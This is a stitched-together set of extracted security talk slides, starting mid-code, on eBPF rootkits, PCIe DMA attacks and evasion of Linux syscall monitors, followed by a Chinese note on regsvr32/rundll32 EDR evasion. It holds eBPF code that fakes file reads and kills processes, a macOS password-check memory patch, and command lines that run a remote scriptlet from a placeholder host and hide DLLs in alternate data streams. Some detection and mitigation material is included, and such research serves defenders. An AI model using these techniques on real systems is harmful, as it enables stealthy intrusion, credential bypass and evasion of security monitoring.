if (!skel) { fprintf(stderr, "Failed to open BPF skeleton\n"); return 1; } /* Load & verify BPF programs */ err = example_bpf__load(skel); if (err) { fprintf(stderr, "Failed to load and verify BPF skeleton\n"); goto cleanup; } /* Attach tracepoint handler */ err = example_bpf__attach(skel); if (err) { fprintf(stderr, "Failed to attach BPF skeleton\n"); goto cleanup; } printf("Successfully started!\n"); read_trace_pipe(); cleanup: example_bpf__destroy(skel); return -err; } Using eBPF to Warp Network Reality eBPF - Warping Network Reality @pathtofile eBPF - Warping Network Reality Security observes: ● Connection from internal IP to ssh ● No active internet-facing connections eBPF enables: ● Read and write packets pre-firewall ● Routing packets across networks ● Altering source and destination IP and Ports @pathtofile 🔥🧱 eBPF - Warping Network Reality Security observes: ● Normal web connections ● Nothing unusual in netstat or tcpdump eBPF enables: ● Reading C2 packets then discarding ● Hijacking existing connections ● Cloning packets to create new traffic ● Can use UProbe to hook OpenSSL functions, read and write TLS @pathtofile 🔥🧱 Using eBPF to Warp Data Reality eBPF - Warping Data Reality @pathtofile eBPF - Warping Data Reality @pathtofile eBPF - Warping Data Reality @pathtofile eBPF - Warping Data Reality @pathtofile int main() { // Open File char filename[100] = "read_me"; int fd = openat(AT_FDCWD, filename, O_RDWR); // Read data from file char buffer[100]; read(fd, buffer, sizeof(buffer)); printf("Data: %s\n", buffer); // Close file close(fd); return 0; } SEC("fexit/__x64_sys_read") int BPF_PROG(read_exit, struct pt_regs *regs, long ret) { // 1. Read in data returned from kernel char buffer[100]; bpf_probe_read_user( &buffer, sizeof(buffer), PT_REGS_PARM2(regs) ); // 2. Change data const char *fake_data = "fake_data"; for (int i=0; i<sizeof(replace); i++) { buffer[i] = fake_data[i]; } // 3. Overwrite bpf_probe_write_user( PT_REGS_PARM2(regs), &buffer, sizeof(buffer) ); return 0; } User space program eBPF Program eBPF - Warping Data Reality @pathtofile int main() { // Open File char filename[100] = "read_me"; int fd = openat(AT_FDCWD, filename, O_RDWR); // Read data from file char buffer[100]; read(fd, buffer, sizeof(buffer)); printf("Data: %s\n", buffer); // Close file close(fd); return 0; } SEC("fexit/__x64_sys_read") int BPF_PROG(read_exit, struct pt_regs *regs, long ret) { // 1. Read in data returned from kernel char buffer[100]; bpf_probe_read_user( &buffer, sizeof(buffer), PT_REGS_PARM2(regs) ); // 2. Change data const char *fake_data = "fake_data"; for (int i=0; i<sizeof(replace); i++) { buffer[i] = fake_data[i]; } // 3. Overwrite bpf_probe_write_user( PT_REGS_PARM2(regs), &buffer, sizeof(buffer) ); return 0; } User space program eBPF Program eBPF - Warping Data Reality @pathtofile int main() { // Open File char filename[100] = "read_me"; int fd = openat(AT_FDCWD, filename, O_RDWR); // Read data from file char buffer[100]; read(fd, buffer, sizeof(buffer)); printf("Data: %s\n", buffer); // Close file close(fd); return 0; } SEC("fexit/__x64_sys_read") int BPF_PROG(read_exit, struct pt_regs *regs, long ret) { // 1. Read in data returned from kernel char buffer[100]; bpf_probe_read_user( &buffer, sizeof(buffer), PT_REGS_PARM2(regs) ); // 2. Change data const char *fake_data = "fake_data"; for (int i=0; i<sizeof(replace); i++) { buffer[i] = fake_data[i]; } // 3. Overwrite bpf_probe_write_user( PT_REGS_PARM2(regs), &buffer, sizeof(buffer) ); return 0; } User space program eBPF Program eBPF - Warping Data Reality bpf_probe_write_user ● Any user space buffer, pointer, or string can be overwritten ● E.g. execve, connect, netlink data, etc. fmod_ret programs ● Special type of eBPF programs to override function calls ● Only some kernel functions, all syscalls ● Doesn’t call function, instead return error or fake result ● Most software silently fails (sshd, rsyslogd, etc.) bpf_send_signal ● eBPF helper function ● Raises a signal on current thread ● Signal SIGKILL unstoppable, kills entire process SEC("fmod_ret/__x64_sys_write") int BPF_PROG(fake_write, struct pt_regs *regs) { // Get expected write amount u32 count = PT_REGS_PARM3(regs); // Overwrite return return count; } @pathtofile SEC("fentry/__x64_sys_openat") int BPF_PROG(bpf_dos, struct pt_regs *regs) { // Kill any program that attempts to open a file bpf_send_signal(SIGKILL); return 0; } eBPF - Warping Data Reality @pathtofile SEC("fexit/__x64_sys_read") int BPF_PROG(read_exit, struct pt_regs *regs, long ret) { // Check Process ID int pid = bpf_get_current_pid_tgid() >> 32; // Check Program name char comm[TASK_COMM_LEN]; bpf_get_current_comm(&comm, sizeof(comm); // Check user ID int uid = (int)bpf_get_current_uid_gid(); // Check function argument char data[100]; bpf_probe_read_user(&data, sizeof(data), PT_REGS_PARM2(regs)); // Check return Value if (ret != 0) { /* ... */ }; return 0; } ● Can programmatically determine when to affect calls ● Can filter based on: ● Process ID ● Process name ● User ID ● Function arguments ● Function return ● Time since boot ● Previous activity ● ... eBPF - Warping Data Reality eBPF enables ● Bypassing MFA by faking pam.d files ● Enabling access using fake credentials Security observes ● cat, vim, etc. only see real data without fake user @pathtofile Demo Time Other features, Limitations eBPF - Other features Running on network hardware ● eBPF can run outside the OS on the network card ● Dependent on card model ● Able to alter packets after auditing from OS Programs can persist after loader exit ● Some programs can be pinned to /sys/fs/bpf/ ● Fentry, Fexit programs ● If pinned, loader not longer required ● Otherwise loader needs to continue to run ● Reduces detectable footprint Chaining eBPF programs together ● bpf_tail_call ● Increases complexity ● eBPF Maps used to store state between calls @pathtofile eBPF - Limitations Race conditions ● If usermode process runs too quickly, tampering fails ● Process could race on another thread to discover/defeat tampering No persistence across reboots ● Programs need to be re-loaded after every reboot Cannot write to kernel memory ● Not able to alter kernel memory ● Kernel security products (e.g. AuditD) unaffected ● Kernel raises warning when ‘bpf_probe_write_user’ is used ● However, can tamper with user mode controllers, log readers, network traffic, etc. @pathtofile Detections and Preventions eBPF - File Detections ● Look for files that contain eBPF programs ● Easy if programs compiled using LLVM + LibBPF ○ But not the only way to load eBPF Programs ● If using bpftool + libbpf, ELF baked into loader .rodata @pathtofile eBPF - File Detections ● Look for files that contain eBPF programs ● Easy if programs compiled using LLVM + LibBPF ○ But not the only way to load eBPF Programs ● If using bpftool + libbpf, ELF baked into loader .rodata @pathtofile eBPF - File Detections ● Look for programs calling bpf_probe_write_user ● BPF Bytecode: ● Native bytecode: @pathtofile On Disk: 85 00 00 00 24 00 00 00 In kernel: 85 00 00 00 40 FE FE FF In Kernel: callq 0xffff.... eBPF - Process Detections Process Monitoring ● Monitor all ‘bpf’ syscalls ○ Only trusted programs should be using eBPF ○ Can use eBPF to monitor itself ● Can use eBPF to extract program bytecode during loading @pathtofile SEC("tp/syscalls/sys_enter_bpf") int bpf_dos(struct trace_event_raw_sys_enter *ctx) { // Get current program filename char comm[TASK_COMM_LEN]; bpf_get_current_comm(&comm, sizeof(comm)); // Check program name char comm_check[TASK_COMM_LEN] = "bpftool"; for (int i = 0; i < TASK_COMM_LEN; i++) { if (prog_name[i] != comm_check[i]) { // Program name doesn't match // kill process bpf_send_signal(SIGKILL); return 0; } } // bpftool is ok to run return 0; } eBPF - Memory Detections @pathtofile ● Volatility planning to release new memory scanning plugins ● Volatility works on live and offline memory dumps eBPF - Preventions ● eBPF can be disabled ○ Requires re-building kernel ○ Not always an option (e.g. managed environments) ● eBPF community is discussing how to sign eBPF programs ○ Signing can prevent unauthorised eBPF usage ○ Difficult due to JIT compilation ○ When implemented, it impact how eBPF can be used @pathtofile What else can eBPF do? eBPF - Windows ● eBPF is on Windows now ● Currently only network routing ● Future plans for function hooks ● Writing to user memory not discussed ● But the future is interesting! @pathtofile https://cloudblogs.microsoft.com/opensource/2021/05/10/making-ebpf-work-on-windows/ eBPF - Anti-Anti-Sandboxing ● eBPF a great tool to defeat Anti-Sandbox and Anti-RE ● Doesn’t require attaching to processes ● Can fake uptime, file contents, MAC Address, DNS responses, etc. ● Examples of Anti-Sandbox techniques: @pathtofile https://www.trustedsec.com/blog/enumerating-anti-sandboxing-techniques/ eBPF - Bad-BPF ● https://github.com/pathtofile/bad-bpf ● Collection of eBPF programs and loaders ● Lots of comments and details on how they work ● Examples of filtering based on PID and process name @pathtofile Sudo-Add: Adds a user to sudoers list TCP-Reroute: Route TCP traffic from magic source port across NICs Text-Replace: Replaces arbitrary text in arbitrary files. - Add users to /etc/passwd - Hide kernel modules from ‘lsmod’ - Fake MAC Address, etc. Bpf-Dos: Kills any program trying to use eBPF Exec-Hijack: Hijacks calls to execve to launch a different program Pid-Hide: Hides processes from tools like ‘ps’ Conclusion eBPF - Conclusion ● Using Kernel Rootkits can be super risky for an attacker ● eBPF removes this risk, making it possible to run safe, portable, rootkits ● Detection and prevention can be difficult without kernel mode security Links: ● Code Samples: https://github.com/pathtofile/bad-bpf ● Docs and blogs: https://blog.tofile.dev/categories/#ebpf ● eBPF Community Website: https://ebpf.io ● eBPF Community Slack: https://ebpf.io/slack ● eBPF Technical Guides: https://docs.cilium.io/en/v1.9/bpf/#bpf-guide https://github.com/iovisor/bpf-docs/blob/master/eBPF.md ● Other eBPF talks: DEF CON 27: Jeff Dileo - Evil eBPF DEF CON 29: Guillaume Fournier - eBPF, I thought we were friends! InfoQ 2020:Thomas Graf - Rethinking the Linux Kernel ● Mega thanks Cory, Maybe, family @pathtofile Questions? Website: https://path.tofile.dev GitHub, Slack, Twitter: @PathToFile Email: path[at]tofile[dot]dev @pathtofile
pdf
DEFCON 22 Joe FitzPatrick Miles Crabill Stupid PCIe Tricks featuring NSA Playset: PCIe ●  Electrical Engineering education with focus on CS and Infosec ●  8 years doing security research, speed debug, and tool development for CPUs ●  Hardware Pen Testing of CPUs ●  Security training for functional validators worldwide whoami Joe FitzPatrick @securelyfitz joefitz@securinghardware.com “if Joe Fitz, he sitz” ●  Computer Science student at Lewis & Clark College ●  About 2 years of experience in security research ●  Little to no prior hardware hacking experience ●  Learned this stuff as I went, with tons of help from Joe whoami Miles Crabill @milescrabill miles@milescrabill.com Miles’ hot tub picture was a bit too explicit This is early phase research with poor citations A lot of people have done work in this area before us The difference is that we are trying to make this type of attack inexpensive Disclaimer What is PCIe? PCIe is PCI! PCIe is NOT PCI! Foto tomada por Jorge González http://es.wikipedia.org Photo by snikerdo http://en.wikipedia.org Links and Lanes Diagram: PCIe 2.1 specification Hierarchy Diagram: PCIe 2.1 specification Switching and Routing Diagram: PCIe 2.1 specification Layers Diagram: PCIe 2.1 specification Configuration Space Diagram: PCIe 2.1 specification Configuration Space Diagram: PCIe 2.1 specification Configuration Space Diagram: PCIe 2.1 specification Configuration Space Diagram: PCIe 2.1 specification Configuration Space Diagram: PCIe 2.1 specification Enumeration Diagram: PCIe 2.1 specification Routing PCIe The Step-By-Step, Complicated, Mandatory, Inflexible Rules of Routing PCIe: 1. route pairs adjacent and equal length The Step-By-Step, Complicated, Mandatory, Inflexible Rules of Routing PCIe: 1. route pairs adjacent and equal length … that’s mostly it The Step-By-Step, Complicated, Mandatory, Inflexible Rules of Routing PCIe: Routing PCIe System Board Traces 12 Inches Add-in Card Traces 3.5 inches Chip-to-Chip Routes 15 inches Follow these rules and your board might work. Break them and it might not. Routing PCIe Minimum PCIe: ●  2.5GHz TX ●  2.5GHz RX ●  100MHz Clock (optional) Routing PCIe Cross-section of a USB 3.0 cable. Image courtesy of USB Implementers Forum Thunderbolt Getting PCIe on Things Without It Introducing SLOTSCREAMER from Steve Weis’ Black Hat 2014 talk “Protecting Data In-Use from Firmware and Physical Attacks” which has similar sources for NSA Ant catalog product details Thunderbolt Thunderbolt Thunderbolt USB3380.c: Thunderbolt Thunderbolt USB3380 Firmware USB3380 Firmware >"xxd"SLOTSCREAMER.bin"" 0000000:"5a00"0c00"2310"4970"0000"0000"e414"bc16""Z...#.Ip........" " " USB3380 Firmware >"xxd"SLOTSCREAMER.bin"" 0000000:"5a00"0c00"2310"4970"0000"0000"e414"bc16""Z...#.Ip........" " " USB3380 Firmware >"xxd"SLOTSCREAMER.bin"" 0000000:"5a00"0c00"2310"4970"0000"0000"e414"bc16""Z...#.Ip........" " " That’s all! Attacking via PCIe Target-side Software Target-side Software ●  None Attack-side Software Attack-side Software Quick ‘n’ dirty PCIe memory read/write with PyUSB Demo - memory read/write More attack-side Software More attack-side Software #"EQUALS:" #" #"""|FF"Offset"0x00"""""""""""""""""""""" #""/"""""""""""""""""""""""""""""""""""""""""""" #"/\"""""""""""""|FpatchoffsetFFFFFFFFFFFFFFF>[b0"01]"""" #"00"01"02"03"04"05"06"07"08"09"0a"0b"0c"0d"0e"0f".."(byte"offset)" #"FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" #"c6"0f"85"a0"b8"00"00"b8"ab"05"03"ff"ef"01"00"00".."(chunk"of"memory"data)" #"FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" #"\______/"\___/"\______/" #"""""\""""""\"""""""\" #""""""\""""""\"""""""|FF"Chunk"2"at"internaloffset"0x05" #"""""""\""""""|FF"Some"data"(ignore,"don't"match"this)" #""""""""|FF"Chunk"1"at"internaloffset"0x00" #"\_____________________/" #""""""""""""\" #"""""""""""""|FF"Entire"signature" #" " More attack-side Software " """""""""""{'OS':"'Mac"OS"X"10.9'," """"""""""""'versions':"['10.9']," """"""""""""'architectures':"['x64']," """"""""""""'name':"'DirectoryService/OpenDirectory"unlock/privilege"escalation'," """"""""""""'notes':"'Overwrites"the"DoShadowHashAuth/ODRecordVerifyPassword"return"value."" """"""""""""'signatures':"[{'offsets':"[0x1e5],"#"10.9" """"""""""""""""""""""""""""'chunks':"[{'chunk':"0x4488e84883c4685b415c415d415e415f5d," """"""""""""""""""""""""""""""""""""""""'internaloffset':"0x00," """"""""""""""""""""""""""""""""""""""""'patch':"0x90b001,"#"nop;"mov"al,1;" """"""""""""""""""""""""""""""""""""""""'patchoffset':"0x00}]}]}]" " " Taking Dumps DMA Stool Analysis with Volatility dmesg log of the attack recovered from the memory dump of the victim DMA Stool Analysis with Volatility names, pids, and uids for dumped processes DMA Stool Analysis with Volatility extracted machine info the perfect amount of memory to dump! Thunderbolt Diagram: Apple Thunderbolt Device Driver Programming Guide HALIBUTDUGOUT DIY nsaplayset.org Hardware http://www.hwtools.net/PLX.html Software tools used in preparing this presentation: ●  plx’s flashing software ●  pyusb + scripts ●  inception_pci ●  volatility for memory analysis Mitigations Bus Master Enable joefitz@linUX31a:~/Documents/pcie/SLOTSCREAMER/inception_pci$ lspci -vv | grep BusMaster Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Control: I/O+ Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ IOMMU Abstinence? because 0.01% is too much Sorry, Previous Track 2 Speakers ALLOYVIPER Building ALLOYVIPER Building ALLOYVIPER Building ALLOYVIPER Building ALLOYVIPER Building ALLOYVIPER Building ALLOYVIPER Building ALLOYVIPER Building ALLOYVIPER Pay no attention to the mitm behind the curtain Acknowledgements •  NSA Playset Crew •  Carsten for his work on Inception (breaknenter.org) •  Great Scott Gadgets •  Dean Pierce •  @snare and @_rezin_ •  And everyone else! mike_pizza Joe FitzPatrick @securelyfitz joefitz@securinghardware.com http://www.securinghardware.com Questions? Miles Crabill @milescrabill miles@milescrabill.com milescrabill.com
pdf
Phantom Attack: Evading System Call Monitoring Rex Guo, Ph.D. Junyuan Zeng, Ph.D. @Xiaofei_Rex jzeng04 *NOSPAM* gmail DOT com web app RCE on joe-box and executed a reverse shell An Incident - An Attacker’s View web app RCE on joe-box and executed a reverse shell An Incident - An Attacker’s View Privilege escalation using sudo CVE-2021-3156 web app RCE on joe-box and executed a reverse shell read /etc/shadow An Incident - An Attacker’s View Privilege escalation using sudo CVE-2021-3156 web app RCE on joe-box and executed a reverse shell read /etc/shadow Read ssh process environment variable An Incident - An Attacker’s View Privilege escalation using sudo CVE-2021-3156 web app RCE on joe-box and executed a reverse shell read /etc/shadow Read ssh process environment variable Lateral movement to alice-box with ssh hijacking An Incident - An Attacker’s View Privilege escalation using sudo CVE-2021-3156 web app RCE on joe-box and executed a reverse shell read /etc/shadow Read ssh process environment variable Lateral movement to alice-box with ssh hijacking An Incident - An Attacker’s View Privilege escalation using sudo CVE-2021-3156 web app RCE on joe-box and executed a reverse shell Privilege escalation using sudo CVE-2021-3156 read /etc/shadow Read ssh process environment variable Lateral movement to alice-box with ssh hijacking An Incident … A Defender’s View connect etc. execve(at) open(at) open(at) connect, etc. Incident Response Detection Rule Example rule: untrusted program reads /etc/shadow condition: syscall == open(at) and read permission and filename == /etc/shadow and program is not in allowlist Agenda •Introduction to System Call Monitoring •Open Source System Call Monitoring Projects •TOCTOU - Phantom v1 Attack •Semantic confusion - Phantom v2 Attack •Takeaways System Call Monitoring (1) User Space Kernel Space Programs Applications Syscall Code Path Hooks syscall events Monitoring Agent System Call Monitoring – Syscall Interception (1) • tracepoint/raw_tracepoint • Kernel static hook • tracepoint vs raw_tracepoint • Linux Kernel provides raw tracepoints: sys_enter and sys_exit • trace_sys_enter(struct pt_regs *regs, long id) • trace_sys_exit(struct pt_regs *regs, long id) • Low overhead but only static system call interceptions System Call Code Path trace_sys_enter(regs, id) . . . trace_sys_exit(regs, id) Programs-1 (regs, id) Programs-2 (regs, id) System Call Monitoring – Syscall Interception (2) • kprobe/kretprobe • Dynamic hook in the kernel • kprobe vs kretprobe • Dynamic but slow compared to tracepoints and need to know exactly how data is placed on the stack and register • LD_PRELOAD: not working in all cases • Ptrace: performance overhead is high System Call Code Path Inst. 1 Inst. 2 . . . Inst. n Programs-1 Programs-2 System Call Monitoring – Syscall Data Collection • Tracing programs collect system call data, e.g., arguments • Tracing programs can “attach” to different hooks. When the hooks fire, tracing programs are executed ● tracepoints/raw_tracepoints ● kprobe/kretprobe • Tracing programs implementations • Linux native mechanisms: ftrace, perf_events etc. • Kernel modules • eBPF programs: allow the execution of user code in the kernel Open Source Projects (as of 07/15/2021) • Falco (created by Sysdig) ● One of the two security and compliance projects in CNCF incubating projects ● The only endpoint security monitoring project in CNCF incubating projects ● 3.9K github stars ● It consumes kernel events and enriches them with information from the cloud native stack (e.g. Linux, containers, etc.) ● Falco supports both kernel module and eBPF programs for tracing program implementation • Tracee (created by Aqua Security) ● 1.1K github stars ● A runtime security and forensics tool based on eBPF Vulnerabilities • Time-of-check time-of-use (TOCTOU) ● Time-of-check: tracing programs collect system call data (e.g. arguments) ● Time-of-use: system call data used by kernel is different from what tracing programs check ● e.g. sys_openat(int dfd, const char __user * filename, int flags, umode_t mode) ● Phantom v1 attack exploits TOCTOU • Semantic confusion ● Kernel interprets data differently from the tracing programs ● e.g. symbolic link is interpreted differently by the kernel and tracing programs ● Phantom v2 attack exploits semantic confusion • Falco is vulnerable to both Phantom v1 and v2 • Tracee is vulnerable to Phantom v1 https://dl.packetstormsecurity.net/1005-advisories/khobe-earthquake.pdf TOCTOU - openat … trace_sys_enter(regs, regs->orig_ax) … Syscall Table (x86_64) … 257 sys_openat 258 sys_mkdirat 259 sys_mknodat … long do_sys_open(int dfd, const char __user *filename, int flags, umode_t mode) { … struct filename *tmp; tmp = getname(filename); … fd = get_unused_fd_flags(flags); if (fd >= 0) { struct file *f = do_filp_open(dfd, tmp, &op); … } syscall exit … trace_sys_exit(regs, regs->ax) … User Space Kernel 5.4.0 syscall enter TOCTOU - openat … trace_sys_enter(regs, regs->orig_ax) … Syscall Table (x86_64) … 257 sys_openat 258 sys_mkdirat 259 sys_mknodat … long do_sys_open(int dfd, const char __user *filename, int flags, umode_t mode) { … struct filename *tmp; tmp = getname(filename); … fd = get_unused_fd_flags(flags); if (fd >= 0) { struct file *f = do_filp_open(dfd, tmp, &op); … } syscall exit … trace_sys_exit(regs, regs->ax) … User Space Kernel 5.4.0 TOU by Linux Kernel syscall enter TOCTOU - openat … trace_sys_enter(regs, regs->orig_ax) … Syscall Table (x86_64) … 257 sys_openat 258 sys_mkdirat 259 sys_mknodat … long do_sys_open(int dfd, const char __user *filename, int flags, umode_t mode) { … struct filename *tmp; tmp = getname(filename); … fd = get_unused_fd_flags(flags); if (fd >= 0) { struct file *f = do_filp_open(dfd, tmp, &op); … } syscall exit … trace_sys_exit(regs, regs->ax) … CP-1 CP-2 User Space Kernel 5.4.0 TOU by Linux Kernel syscall enter TOCTOU - openat … trace_sys_enter(regs, regs->orig_ax) … Syscall Table (x86_64) … 257 sys_openat 258 sys_mkdirat 259 sys_mknodat … long do_sys_open(int dfd, const char __user *filename, int flags, umode_t mode) { … struct filename *tmp; tmp = getname(filename); … fd = get_unused_fd_flags(flags); if (fd >= 0) { struct file *f = do_filp_open(dfd, tmp, &op); … } syscall enter syscall exit … trace_sys_exit(regs, regs->ax) … TOC: Tracing Programs TOU by Linux Kernel User Space Kernel 5.4.0 CP-1 CP-2 TOCTOU - openat … trace_sys_enter(regs, regs->orig_ax) … Syscall Table (x86_64) … 257 sys_openat 258 sys_mkdirat 259 sys_mknodat … long do_sys_open(int dfd, const char __user *filename, int flags, umode_t mode) { … struct filename *tmp; tmp = getname(filename); … fd = get_unused_fd_flags(flags); if (fd >= 0) { struct file *f = do_filp_open(dfd, tmp, &op); … } syscall exit … trace_sys_exit(regs, regs->ax) … TOU by Linux Kernel TOC: Tracing Programs User Space Kernel 5.4.0 CP-1 CP-2 syscall enter TOCTOU - openat … trace_sys_enter(regs, regs->orig_ax) … Syscall Table (x86_64) … 257 sys_openat 258 sys_mkdirat 259 sys_mknodat … long do_sys_open(int dfd, const char __user *filename, int flags, umode_t mode) { … struct filename *tmp; tmp = getname(filename); … fd = get_unused_fd_flags(flags); if (fd >= 0) { struct file *f = do_filp_open(dfd, tmp, &op); … } syscall exit … trace_sys_exit(regs, regs->ax) … TOU by Linux Kernel TOC: Tracing Programs User Space Kernel 5.4.0 CP-1 CP-2 syscall enter TOCTOU – Falco • CVE-2021-33505 – CVSS v3.0 score 7.3 • Falco older than v0.29.1 (or open source sysdig) • Commercial versions based on the open source agent are also affected (confirmed by the open source maintainer) • It uses raw tracepoints (sys_enter and sys_exit) to intercept syscalls • User space pointers are read directly by its tracing programs • In the implementations of both kernel module and eBPF programs TOCTOU – Falco • We evaluated the important syscalls in Falco rules. Syscall Category TOCTOU? connect Network Y sendto/sendmsg Network Y open/openat File Y execve File N rename File Y renameat/renameat2 File Y mkdir File Y mkdirat File Y rmdir File Y unlink/unlinkat File Y symlink/symlinkat File Y chmod/fchmod/fchmodat File Y creat File Y TOCTOU – Tracee • Tracee (v0.4.0) is vulnerable to TOCTOU for many system calls, e.g., connect syscall, etc. • No CVE given. Here are some quotes from the maintainers: • “As you probably know, TOCTTOU attacks on system calls wrappers(/tracers) is a well known issue, and Tracee is no exception.” • “And yes we agree on the fact that there’s no CVE or novel finding and therefore you could talk about it publicly.” • Interpret yourself ☺ Phantom v1 Exploit Plan (Sys_exit is Monitored) • Triggers the target system call with malicious arguments • Let kernel reads the malicious arguments and performs the intended malicious action • Overwrites the data structure pointed by the user space argument pointer with benign data • At sys_exit, tracing program reads the data structure pointed by the user space pointer and checks against the rules • Challenges: • When does the kernel thread reads it? • How can we synchronize the overwrite with the kernel thread read? • Are the racing windows big enough for each syscalls? • How to ensure the tracing program get the overwritten copy? Userfaultfd Syscall • Normally page faults are a kernel internal thing… • Why offload page faults to userland? • Memory externalization: running programs with memory residing on a remote node • Memory is transferred from the memory node to the compute node on access • Memory can be transferred from the compute node to the memory node if it’s not frequently used during memory pressure • Once userfaultfd triggers, kernel thread is paused and waits for user space response • Helps exploitation on kernel race condition bugs Interrupts and Scheduling • An interrupt notifies the processor with an event that requires immediate attention • An interrupt diverts the program control flow to an interrupt handler • Interrupt can be triggered indirectly from system calls • Hardware interrupts (networking, e.g., connect) • Interprocessor interrupts (IPIs) (e.g., mprotect) • sched_setscheduler() • set SCHED_NORMAL / SCHED_IDLE • Realtime policies require CAP_SYS_NICE or Realtimekit] • sched_setaffinity(): pin task to CPU bitmask https://www.usenix.org/system/files/sec21fall-lee-yoochan.pdf https://www.youtube.com/watch?v=MIJL5wLUtKE Phantom v1 Attack – An Openat Example Phantom v1 Attack – An Openat Example Phantom v1 Attack – An Openat Example Phantom v1 Attack – An Openat Example Semantic Confusion – File Link • Semantic confusion indicates the different interpretations of data (e.g. system call arguments) between the kernel and tracing programs • In particular for file link interpretation, kernel trails symbolic link to actual file while tracing programs read the link without any interpretations • Falco is vulnerable to semantic confusion • It reads symbolic link without any interpretation • No CVE because symlink(at) and link(at) are monitored • But practically the detection team need to track all symlink(at)/link(at) to any file based rules  • Tracee is not vulnerable to openat • security_file_open LSM hook: filename has been interpreted by the kernel Phantom v2 – An File Link Example • Steps to bypass the Falco rule • Create a symlink /tmp/shadow -> /etc/shadow • Tracing programs read the symlink /tmp/shadow • Syscall openat monitoring reports /tmp/shadow is opened • Rule is bypassed rule: untrusted program reads /etc/shadow condition: syscall == open(at) and read permission is used and filename == /etc/shadow and not program is not in allowlist Mitigation • Detection (Falco team) • Detect (unprivileged) usage of the `userfaultfd` syscall (Implemented) • Detect a user registering a memory address range • Detect a user copying a continuous memory chunk into the userfaultfd registered range and (optionally) wake up the blocked thread (kernel) • Read the data used by system calls • LSM hook: a list of check points • Kernel data structure: read arguments of execve from mm->arg_start LSM hook used by Tracee v0.4.0 Protected syscall security_bprm_check execve, execveat security_file_open open, openat security_inode_unlink unlink, unlinkat security_mmap_addr mmap, mmap_pgoff security_file_mprotect mprotect Takeaways • Phantom attack is generic and exploits the fact that kernel and tracing programs • Can read data at different times (Phantom v1) • Can interpret data differently (Phantom v2) • Kernel raw tracepoints on system calls are not ideal for secure tracing • Other tracing implementations can be vulnerable. E.g., kprobe • Mitigation: • Detect abnormal usages of userfaultfd • Ensure kernel and secure tracing programs (1) Read the same data (2) Interpret data in the same way • If you are interested in discussing further: • @Xiaofei_REX (OpenDM) • https://github.com/rexguowork/phantom-attack (will be released during Defcon) Acknowledgement • Chris Arges (ebpf, kernel tracing) • https://www.linkedin.com/in/carges/ • Joel Schopp (kernel tracing, TOCTOU) • https://www.linkedin.com/in/schopp/ • Yu Wang (TOCTOU) • https://www.linkedin.com/in/yu-wang-88056b99/ • Falco open source team (Leonardo Di Donato, etc.)
pdf
笔记本: 企业安全建设 创建时间: 2022/10/2 10:51 更新时间: 2022/10/2 13:31 作者: Aim High URL: https://www.cnblogs.com/xinxin999/p/15874533.html regsvr32 && rundll32的研究 一.前言 关于在终端对抗上,regsvr32 && rundll32师傅们常用的2种方式 regsvr32 /s /u /i:http://xx.xx.xx.xx:6007/test.sct scrobj.dll //执行恶意sct文件 rundll32 cs.dll start //上线cs的dll 师傅们更在意的是自己的sct文件是否免杀,cs生成的dll是否免杀,但是对于大型企业来讲,你的 恶意文件免杀很重要,同样,你的终端行为也很重要,站在regsvr32和rundll32这2个常见的命令 上,我们有哪些比较好的思路呢 一些文件 二.基础思路 最最简单的思路就在于对regsvr32.exe,scrobj.dll,rundll32.exe这三个windows自带的文件进 行变形,绕过最基础的检测匹配 常见的方法: (1)copy && rename 我们可以copy regsvr32.exe,scrobj.dll,rundll32.exe这三个文件,更改名字进行简单的绕过 copy c:\windows\system32\regsvr32.exe 32regsvr.exe 32regsvr /s /u /i:http://xx.xx.xx.xx:6007/test.sct scrobj.dll rundll32也是同理 (2)通过mklink对于scrobj.dll的变形 通过mklink软链接新dll mklink congya.dll c:\Windows\System32\scrobj.dll regsvr32 /s /u /i:http://xx.xx.xx.xx:6007/test.sct congya.dll (3)rundll32中间的空格和逗号 rundll32 calc.dll start rundll32 calc.dll,start 三.一些特别的 当某些EDR对copy ,rename,mklink(需要管理员权限)等命令进行限制或者CEP关联匹配, 我们就需要寻求一些突破 (1)利用type文件流绕过 type c:\Windows\System32\scrobj.dll > bypass1.txt:test.dll regsvr32 /s /u /i:http://xx.xx.xx.xx:6007/test.sct bypass1.txt:test.dll 此外,我们还可以利用makecab替代type执行文件流 makecab c:\Windows\System32\scrobj.dll c:\Windows\System32\scrobj.cab extrac32 c:\Windows\System32\scrobj.cab c:\users\congya\desktop\abc.txt:abc.dll wmic process call create "regsvr32 /s /u /i:http://xx.xx.xx.xx:6007/test.sct c:\users\congya\desktop\abc.txt:abc.dll" 